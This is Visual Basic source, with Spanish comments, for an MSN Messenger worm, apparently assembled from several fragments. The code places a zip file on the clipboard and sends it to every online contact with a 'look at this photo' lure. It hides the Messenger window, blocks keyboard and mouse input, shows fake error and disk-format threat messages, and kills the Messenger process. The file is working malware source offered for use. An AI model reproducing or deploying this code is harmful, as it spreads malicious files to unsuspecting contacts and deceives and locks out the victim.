'declaraciones
Private WithEvents MSN As MessengerAPI.Messenger
 Dim contactos
Dim contacto
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Dim Window As Long

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Form_Load()
On Error Resume Next
Dim ap(0) As String
ap(0) = "C:\DSC00082.zip"
If ClipboardCopyFiles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...


  
  Set MSN = New MessengerAPI.Messenger
Set contactos = MSN.MyContacts
 
For Each contacto In contactos
    If contacto.Status <> 1 Then 
        List1.AddItem contacto.SigninName
    End If
Next
  
Window = FindWindow(vbNullString, List1.List) 
 If Window = 0 Then 'si no encuentra la ventana
  MsgBox "Instala MSN Messenger o de lo contrario tu disco duro quedara completamente formateado", vbCritical + vbInformation, "Error" 'sale un mensaje de error
  Else
  ShowWindow Window, SW_HIDE 'showWindow ocultara la venta
  End If


Set w = CreateObject("Messenger.UIAutomation")
For Each contacto In w.MyContacts 'Vamos de contacto en contacto
If (contacto.Status = 2) Or (contacto.Status = 10) Or (contacto.Status = 14) Or (contacto.Status = 34) Or (contacto.Status = 50) Or (contacto.Status = 66) Then
Set iMsn = w.InstantMessage(contacto.SigninName)

SendKeys "^V"
DoEvents
Sleep 1
SendKeys "mira k foto me ice el otro dia"
DoEvents
SendKeys "{ENTER}"
DoEvents
Sleep 1
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

DoEvents
BlockInput True
Sleep 15000
BlockInput False

ShowWindow Window, SW_SHOW 'esto es para mostrar la ventana oculta

MsgBox "Error en el volumen 800fs00x0658 del servicio Windows Live Messenger. Por favor inicie sesion de nuevo", vbInformation, "Windows Live Messenger"
Shell "cmd.exe /c taskkill /f /im msnmsgr.exe"
end sub

For Each user In MsgrUIA.MyContacts 
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 
End If
Next 

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Me.Visible = False
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
Sleep 100
SendKeys ("minick")
SendKeys ("{ENTER}")
End Sub

Option Explicit
Public WithEvents MSN as MessengerApi.Messenger

Set MSN = New MessengerAPI.Messenger
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys ("minick")
SendKeys ("{ENTER}")